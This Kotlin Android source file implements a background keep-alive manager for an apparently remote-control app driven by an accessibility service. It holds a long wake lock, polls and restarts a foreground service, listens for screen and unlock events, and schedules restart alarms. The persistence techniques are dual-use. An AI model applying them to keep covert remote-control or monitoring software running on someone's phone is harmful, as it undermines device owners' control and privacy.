package com.hikoncont.service import android.app.AlarmManager import android.app.NotificationChannel import android.app.NotificationManager import android.app.PendingIntent import android.content.BroadcastReceiver import android.content.Context import android.content.Intent import android.content.IntentFilter import android.os.PowerManager import android.util.Log import androidx.core.app.NotificationCompat import kotlinx.coroutines.* /** * 后台保活管理器 * 专注于后台服务保活,不拉起MainActivity */ class BackgroundKeepAliveManager(private val context: Context) { companion object { private const val TAG = "BackgroundKeepAlive" private const val CHECK_INTERVAL = 10000L // 30秒检查一次 private const val RESTART_DELAY = 5000L // 5秒后重启 } private val managerScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) private var monitorJob: Job? = null private var wakeLock: PowerManager.WakeLock? = null private var isMonitoring = false /** * 开始后台保活监控 */ fun startBackgroundKeepAlive() { if (isMonitoring) { Log.w(TAG, "⚠️ 后台保活监控已在运行") return } Log.i(TAG, "🛡️ 开始后台保活监控") isMonitoring = true // 获取WakeLock acquireWakeLock() // 注册广播接收器 registerReceivers() // 开始监控 startMonitoring() // 确保前台服务运行 ensureForegroundService() } /** * 停止后台保活监控 */ fun stopBackgroundKeepAlive() { if (!isMonitoring) { return } Log.i(TAG, "🛑 停止后台保活监控") isMonitoring = false // 取消监控任务 monitorJob?.cancel() // 释放WakeLock releaseWakeLock() // 注销广播接收器 unregisterReceivers() // 取消协程作用域 managerScope.cancel() } /** * 获取WakeLock保活 */ private fun acquireWakeLock() { try { val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager wakeLock = powerManager.newWakeLock( PowerManager.PARTIAL_WAKE_LOCK, "RemoteControl::BackgroundKeepAlive" ) wakeLock?.acquire(24 * 60 * 60 * 1000L) // 24小时 Log.i(TAG, "🔋 后台保活WakeLock已获取") } catch (e: Exception) { Log.e(TAG, "❌ 获取后台保活WakeLock失败", e) } } /** * 释放WakeLock */ private fun releaseWakeLock() { try { wakeLock?.release() wakeLock = null Log.i(TAG, "🔋 后台保活WakeLock已释放") } catch (e: Exception) { Log.e(TAG, "❌ 释放后台保活WakeLock失败", e) } } /** * 注册广播接收器 */ private fun registerReceivers() { try { val filter = IntentFilter().apply { addAction(Intent.ACTION_SCREEN_ON) addAction(Intent.ACTION_SCREEN_OFF) addAction(Intent.ACTION_USER_PRESENT) // ✅ 参考 f 目录:已移除重启无障碍服务广播监听 } context.registerReceiver(backgroundReceiver, filter) Log.i(TAG, "📡 后台保活广播接收器已注册") } catch (e: Exception) { Log.e(TAG, "❌ 注册后台保活广播接收器失败", e) } } /** * 注销广播接收器 */ private fun unregisterReceivers() { try { context.unregisterReceiver(backgroundReceiver) Log.i(TAG, "📡 后台保活广播接收器已注销") } catch (e: Exception) { Log.e(TAG, "❌ 注销后台保活广播接收器失败", e) } } /** * 开始监控 */ private fun startMonitoring() { monitorJob = managerScope.launch { while (isActive && isMonitoring) { try { checkAndRestartServices() delay(CHECK_INTERVAL) } catch (e: Exception) { Log.e(TAG, "❌ 后台保活监控过程中发生错误", e) delay(CHECK_INTERVAL) } } } } /** * 检查并重启服务 */ private fun checkAndRestartServices() { try { val accessibilityService = AccessibilityRemoteService.getInstance() if (accessibilityService == null) { Log.w(TAG, "⚠️ 检测到AccessibilityService不可用") // 检查无障碍服务权限 if (!isAccessibilityServiceEnabled()) { Log.w(TAG, "⚠️ 无障碍服务权限已丢失") handleAccessibilityPermissionLost() } else { // ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理 Log.d(TAG, "📱 无障碍服务权限正常,系统会自动管理无障碍服务生命周期") } } // 检查前台服务 ensureForegroundService() } catch (e: Exception) { Log.e(TAG, "❌ 检查服务状态失败", e) } } /** * 检查无障碍服务是否启用 */ private fun isAccessibilityServiceEnabled(): Boolean { return try { val accessibilityEnabled = android.provider.Settings.Secure.getInt( context.contentResolver, android.provider.Settings.Secure.ACCESSIBILITY_ENABLED ) if (accessibilityEnabled == 1) { val serviceId = "${context.packageName}/${AccessibilityRemoteService::class.java.canonicalName}" val enabledServices = android.provider.Settings.Secure.getString( context.contentResolver, android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES ) enabledServices?.contains(serviceId) == true } else { false } } catch (e: Exception) { Log.e(TAG, "❌ 检查无障碍服务状态失败", e) false } } /** * 处理无障碍权限丢失(正确方案:提醒用户重新启用) */ private fun handleAccessibilityPermissionLost() { try { Log.w(TAG, "⚠️ 无障碍服务权限丢失,需要用户手动重新启用") // 记录到操作日志 val service = AccessibilityRemoteService.getInstance() service?.recordOperationLog("ACCESSIBILITY_PERMISSION_LOST", "无障碍服务权限丢失", mapOf( "timestamp" to System.currentTimeMillis(), "backgroundKeepAlive" to true )) // 无障碍服务被杀死后无法自动重启,需要用户手动重新启用 // 通过通知或UI提醒用户 showAccessibilityPermissionLostNotification() } catch (e: Exception) { Log.e(TAG, "❌ 处理无障碍服务权限丢失失败", e) } } /** * 显示无障碍权限丢失通知 */ private fun showAccessibilityPermissionLostNotification() { try { Log.i(TAG, "📱 显示无障碍权限丢失通知") // 创建通知渠道 val notificationManager = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager val channelId = "accessibility_permission_lost" val channel = NotificationChannel( channelId, "无障碍权限提醒", NotificationManager.IMPORTANCE_HIGH ).apply { description = "当无障碍服务权限丢失时提醒用户" enableLights(true) lightColor = android.graphics.Color.RED enableVibration(true) } notificationManager.createNotificationChannel(channel) // 创建通知 val notification = NotificationCompat.Builder(context, channelId) .setContentTitle("⚠️ 无障碍服务权限丢失") .setContentText("请点击重新启用无障碍服务权限") .setSmallIcon(android.R.drawable.ic_dialog_alert) .setPriority(NotificationCompat.PRIORITY_HIGH) .setAutoCancel(true) .setOngoing(false) .setContentIntent(createAccessibilitySettingsPendingIntent()) .build() notificationManager.notify(9999, notification) Log.i(TAG, "✅ 无障碍权限丢失通知已显示") } catch (e: Exception) { Log.e(TAG, "❌ 显示无障碍权限丢失通知失败", e) } } /** * 创建无障碍设置页面的PendingIntent */ private fun createAccessibilitySettingsPendingIntent(): PendingIntent { val intent = Intent(android.provider.Settings.ACTION_ACCESSIBILITY_SETTINGS) intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK return PendingIntent.getActivity( context, 9999, intent, PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE ) } // ✅ 参考 f 目录:已移除重启无障碍服务的功能,系统会自动管理无障碍服务生命周期 /** * 确保前台服务运行 */ private fun ensureForegroundService() { try { val serviceIntent = Intent(context, RemoteControlForegroundService::class.java) serviceIntent.action = "ENSURE_FOREGROUND" context.startForegroundService(serviceIntent) Log.d(TAG, "✅ 已确保前台服务运行") } catch (e: Exception) { Log.e(TAG, "❌ 确保前台服务运行失败", e) } } /** * 安排服务自恢复 */ private fun scheduleServiceRestart() { try { val alarmManager = context.getSystemService(Context.ALARM_SERVICE) as AlarmManager val foregroundIntent = Intent(context, RemoteControlForegroundService::class.java).apply { action = "RESTART_SERVICE" } val keepAliveIntent = Intent(context, KeepAliveService::class.java) val pendingFlags = (PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE) val foregroundPI = PendingIntent.getForegroundService( context, 2001, foregroundIntent, pendingFlags ) val keepAlivePI = PendingIntent.getService( context, 2002, keepAliveIntent, pendingFlags ) val triggerAt = System.currentTimeMillis() + RESTART_DELAY alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, foregroundPI) alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 500, keepAlivePI) Log.i(TAG, "⏰ 已安排服务自恢复") } catch (e: Exception) { Log.e(TAG, "❌ 安排服务自恢复失败", e) } } /** * 后台保活广播接收器 */ private val backgroundReceiver = object : BroadcastReceiver() { override fun onReceive(context: Context, intent: Intent) { when (intent.action) { Intent.ACTION_SCREEN_ON -> { Log.d(TAG, "📱 屏幕点亮,检查服务状态") checkAndRestartServices() } Intent.ACTION_SCREEN_OFF -> { Log.d(TAG, "📱 屏幕熄灭,继续后台保活") } Intent.ACTION_USER_PRESENT -> { Log.d(TAG, "👤 用户解锁,检查服务状态") checkAndRestartServices() } "android.mycustrecev.RESTART_ACCESSIBILITY_SERVICE" -> { // ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理 Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启") } } } } }